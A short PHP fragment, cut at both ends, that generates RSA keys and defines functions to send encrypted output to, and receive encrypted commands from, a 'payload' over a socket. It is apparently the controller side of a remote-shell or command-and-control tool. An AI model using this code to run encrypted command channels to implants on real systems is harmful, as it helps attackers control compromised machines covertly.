"sha256", "private_key_bits" => 2048, "private_key_type" => OPENSSL_KEYTYPE_RSA, ); $res = openssl_pkey_new($config); openssl_pkey_export($res, $private_key); $public_key = openssl_pkey_get_details($res)["key"]; return array($private_key, $public_key); } // Encrypt data using RSA function rsa_encrypt($data, $public_key) { openssl_public_encrypt($data, $encrypted_data, $public_key); return $encrypted_data; } // Decrypt data using RSA function rsa_decrypt($data, $private_key) { openssl_private_decrypt($data, $decrypted_data, $private_key); return $decrypted_data; } // Send encrypted output to the payload function send_to_payload($socket, $data, $public_key) { $encrypted_data = rsa_encrypt($data, $public_key); socket_write($socket, $encrypted_data, strlen($encrypted_data)); } // Encrypted commands from the payload function receive_from_payload($socket, $buffer_size, $private_key) { $encrypted_data = socket_read($socket, $buffer_size); return rsa_decrypt($encrypted_data, $private_key); } echo "\033[0;32m"; echo <<